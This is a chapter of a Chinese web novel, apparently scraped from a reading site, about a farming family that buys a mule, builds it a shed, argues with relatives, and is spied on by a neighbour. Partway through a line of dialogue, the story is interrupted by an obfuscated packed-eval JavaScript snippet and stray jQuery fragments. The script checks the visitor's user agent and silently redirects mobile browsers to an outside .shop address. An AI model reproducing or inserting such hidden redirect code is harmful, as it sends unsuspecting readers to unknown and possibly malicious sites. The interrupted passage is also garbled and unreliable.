回到杨柳村，正值晌午，硕大红日当空而照，烤得人发干。
这种时候，村人要么在家里忙琐事，要么躲在庄稼形成的绿荫里埋头苦干，路上倒没遇见什么人。
只有几个不怕晒的黑小子，穿着短褂，裤腿高高卷起，头顶一绿叶帽子，赤脚在外面疯跑。
骡车走过，蹄子落在在地上啪嗒啪嗒，引来孩子们注意。一看拉车的是柳福生，个个睁大了眼，又被额头滚落的混有泥灰的汗液眯到，模样显得有些滑稽。
为首的男孩个子最高，胆子也比较大，一抹脸喊道：“喂，这是你们买的？”
也不叫人，没大没小的。
不过柳满月今儿心情好，没和他计较，一拍骡子结实的背，眉头微扬：“嗯哪，怎么着，长得壮吧？”
黑小子们没回话，叽叽喳喳围上来，却也不敢靠得太近。毕竟是乡下长大的孩子，都知道毛驴、骡子这些牲畜尥蹶子的厉害。
一直到骡车走过，孩子们才散开。
其中一个撒开脚丫子就跑，也不怕被硌到，边跑边嚷嚷：“奶奶，独眼买骡子了！”
柳满月抓起一个土块，瞅准时机就朝他屁股上砸去。土块飞散，男孩拍拍屁股跑得更快，却是不敢再乱叫。
接下来再没碰见人，一路顺顺当当地回到家。
江映莲打开院门，将两人迎进门，围着骡子转了一圈，这里摸摸那里拍拍，有些疑惑：“不是说买毛驴吗？怎么牵头骡子回来。”
柳福生接过满星递来的湿帕子擦了把汗，憨笑道：“想着每天都要使，又是重活儿，干脆就选了个力气大的。”
“是长得挺壮实，看着就有劲儿，”江映莲手还搭在骡子身上，眼里带笑，显然也是欢喜的，“多少钱买的？”
“五两半。”柳福生掀起眼皮去看她的脸色。
江映莲果然皱了下眉，“这么贵呢。”
不过很快又舒展开来，“听说老王家前年买的也差不多这个价，瞅着还没它大，倒也公道。到时收粮食能帮着驮一驮，再请人做套犁，还能耕地，值当。”
她这么一说，柳满月和柳福生都松懈下来。毕竟没提前商量，就怕家里人觉得不高兴，现下看来是不会了。
柳满月点点头，把装着豆饼的麻袋解开，“是呢，一路上它也没闹脾气，让快就快，叫停就停，是个听话的。老板还送了一袋子豆饼，正好给它弄点儿吃吃。”
江映莲摆手：“你歇一会儿，我来弄。早上割的草有剩，剁碎了拌着给它，不然嘴刁了不好喂。”
豆饼就是豆子榨油后留下的残渣，里面还掺了些麦麸和黄豆壳，闻着挺香。这可是好东西，不怪人家能养得这么壮。
但他们没这条件天天喂豆饼，日后肯定还是以草料为主，搭着麦麸、谷糠、鱼骨粉，也能养好。老爷子估计也是考虑到这点，怕它初来乍到吃不惯，才送了一袋豆饼。
柳满月不和她争，转头走进堂屋，掀开罩在桌子正中的竹匾，从瓦罐里给自己舀了一碗米粥，又在小碟夹了几根腌黄瓜条，坐到一旁慢慢吃着。
柳福生同样如此，不过声响大了许多，呼呼啦啦的，很快就喝完一碗。
他没再继续添，拿着空碗去灶房，过一会儿又提着柴刀上后院。
新房建起后，还剩了些木料和石块，都转到后院堆放。先前动过养猪的念头，就打算用这些材料搭个圈，猪仔捉回来可以直接住。
只是实在太忙，每天捎带着弄一弄，猪圈迟迟没搭好。
现在骡子已经买回来，再拖不得，需抓紧把棚子搭起。如今的天气没个准，说下雨就下雨，还是要早些给骡子弄个遮风挡雨的地儿。花大价钱买回来的，万一伤着病着多心疼。
一到后院，就见空地中央摊了许多茅草，本就是显老的那批，经烈日一晒，已经半干。显然是留在家的江映莲和柳满星去割回来的，加上之前剩下的干稻草，足够铺满一个棚子，而且绝对厚实避风。
这样倒是省些事儿，料想今天就能把棚子搭好。
柳福生搓搓手掌心，抬起一节圆木便开始干活儿。收拾完的柳满月等人也陆陆续续过来帮忙，敲敲打打，惹得圈里的鸡鸭叫嚷不停，好不热闹。骡子倒是没什么反应，在一旁嚼着干草，也不吃下肚。
不多时，就听见柳长山在外面喊。
没想到回来的不光是他，方翠英和杨红梅一人抱个胖娃娃也来了。
进门后，方翠英把金宝往地下一放，一边捶着胳膊一边说：“听人说你们买了骡子，我来瞧一瞧。”
金宝拉着银宝“登登”往后院跑，嘴里还在喊：“啰啰啰～”
“是骡子，慢着点儿，”柳满星摇头失笑，“今天刚牵回来的，正在给它搭棚呢。”
担心两个小家伙捣乱，三人不约而同加快步伐。结果还没走近就听见他们咯咯直笑，再一看，俩孩子已经骑在骡背上，柳满月在旁边扶着。
“骑啰啰～”
只是小孩子没那么安分，发觉骡子不动之后，胆子就大起来，在上面摇摇晃晃，差点拉不住。
方翠英和杨红梅赶紧上前扶了把，拍拍他俩后脑勺，不许再乱动。
等俩人终于安静下来，方翠英这才有空仔细打量面前的大家伙，“长得真壮实，一看就是有劲儿的。买头骡子也好，往后去镇上不用走路，跑起肯定也快，不仅省力，还省时。”
说着她又有些心酸，以前没分家的时候他们咋没想起买头骡子，也不见老大提起。这才刚分出来没多久，转眼房子修好，连骡子也买了。果真是他们拖累了。
但转念一想，儿孙越过越好，她合该高兴才是。趁没人注意偷偷擦下眼角，便不再纠结了。
杨红梅也在看骡子，摸摸肚腹、拉拉耳朵，很是喜欢，一想到这么好的骡子和自己没丁点儿关系，又不免牙酸。
“哎哟，大哥现在日子真是好过了，不声不响地就把骡子买回家。要不是听别人说，咱还不知道被瞒到啥时候呢。”
村里有骡子、耕牛的基本上都是兄弟几个凑钱搭伙买，喂养和使用也是轮着来。杨红梅说这话就有点儿埋怨没和她事先商量的意思，她若是知道，肯定要会掏点银子，不就也有骡子可使。
柳福生讪讪地低下头，没好意思吭声。其实一开始他是有和弟弟合买的意思，但媳妇儿和孩子们都不赞成，就打消了这个念头。
“咋滴，我是把你银子藏起，还是给你手绑上了，不许你买？老大买得起骡子是他们自己的本事，你要瞧着眼热就自个儿去牵一头回来。”方翠英哪能不知这个儿媳的花花肠子，半点不惯着她，眼一横就没好气道。
杨红梅跨下脸，“娘这话说的，我还不是乍一听到这么个好消息高兴嘛。大哥他们经常拉车，累得慌，是得弄头骡子养起。”
开玩笑，她又不像老大家天天往镇上跑，顶多就是隔一段日子卖些鸡蛋、买点儿油盐什么的，背个背篓或提个篮子就行了，何必花那大几两银子。
本来都欢欢喜喜的，不想几句话就冒了火气。
江映莲只好站出来打圆场：“也是临时起意。有个骡车到底方便，娘和弟妹以后要出远门只管开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631420|206365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口，让山子送你们去。”
杨红梅骑驴顺坡下，乐呵呵道：“那我就不客气了。”
等金包银宝从骡背上下来，跑到一旁去玩耍，她还帮着抬了几根木头。
不过家里也有活儿，到底没多待。
出门后，一走到没人的地方，方翠英就沉声训斥道：“不要忘了当初是因为什么闹得分家，老大一家过得再好那也跟你没关系，收起那些小心思。否则，哼，别怪我不讲情面。”
杨红梅正琢磨着寻个时机问一下做鱼丸鱼糕的生意能不能加她一份，被吓得一激灵，对上老太太看透一切的眼神，心虚得话都说不利索：“我能有，有什么心思，娘真会说笑。”
“你最好是没有，有空多做点活，把孩子教养好比什么都强。”
不管杨红梅心里究竟是怎么想的，这会儿都只能连连点头应是。
婆媳俩的谈话柳满月他们自是无从知晓，几个人围在后院，忙得热火朝天。
先前就完成大半，人手又充足，不到天黑，棚子便搭完。里面铺上豆秆和枯草，看着干净又宽敞。骡子栓进去，转了一圈，就寻个角落舒舒服服地卧下，想来也是满意的。
柳福生又用木板钉了个食槽，约莫一臂长，一掌宽，不算大，还比较轻，很容易拱翻。
“先凑合着用，后边儿寻两块石料，重新凿两个。”猪仔捉回来也可以用现成的，不必像现在这样匆忙。
板车也重新改过，前面的车把加长，绳索也换成更长更结实的。左右两侧的挡板加长加高，方便人坐下的时候靠背。
忙忙碌碌的，一直到点灯方能看见的时候，才终于真正歇下来。
不到卯时，鸡叫声接二连三响起，忽远忽近，院子里也渐渐有了动静。
柳福生剁了提前备好的草料，抓两把豆饼碾碎，拌上一大桶，先拨出大半给骡子。见它懒洋洋跺过来，吃的时候却不含糊，一口接一口，黝黑的脸上露出个不大明显的笑。
又转到紧挨的鸡笼，揭开木棍抵住的板子，放出鸡鸭，把桶里剩下的饲料全倒给它们。
然后拎着空桶回去，开始准备打渔要用的东西。
骡子吃饱喝足，套上板车，哒哒来到河边。往岸上一栓，又能四处寻新鲜的绿叶青草嚼着吃，总不会饿着。
从没觉得这么轻松过，回去的路上几个人还有闲心说说笑笑，不似往日只剩吭哧吭哧的喘气声。
天渐渐亮了，路上的人也多起来，看见他们的骡车少不了问几句。不过当着面，没谁说酸话，无非就是夸骡子长得好、他们能干，甭管是不是真心，至少听着还是让人高兴的。
驴车很快到家，进门之前，柳满月看见水沟边有道人影，不过也没在意。
水沟边的草多且嫩，有人来割不稀奇。
她却不知道，等院门一关，那人影便猫着腰，摸到围墙边。贴着墙根听了会儿，又搬来些石块垫高，扒到墙头。
杀鱼、剔刺、捶肉、调味……柳家人已对这套流程再熟悉不过，做起来是得心应手。
墙头的人却是看得恍然大悟，总算明白他们天天关起门来在忙些什么，越发肯定买骡子的钱就是这样挣出来。
一时忘形，竟没留意有上学堂的孩子过来。
“崔奶奶——”
崔红菊做贼心虚，脚下一滑从墙头跌落，摔个屁股蹲儿，却不敢再留，捂着后腰跑走。
经过出声的男孩时不忘瞪他一眼，“喊什么喊，想吓死我！”
听到动静的柳满月推门出来时，只看见她一瘸一拐的背影。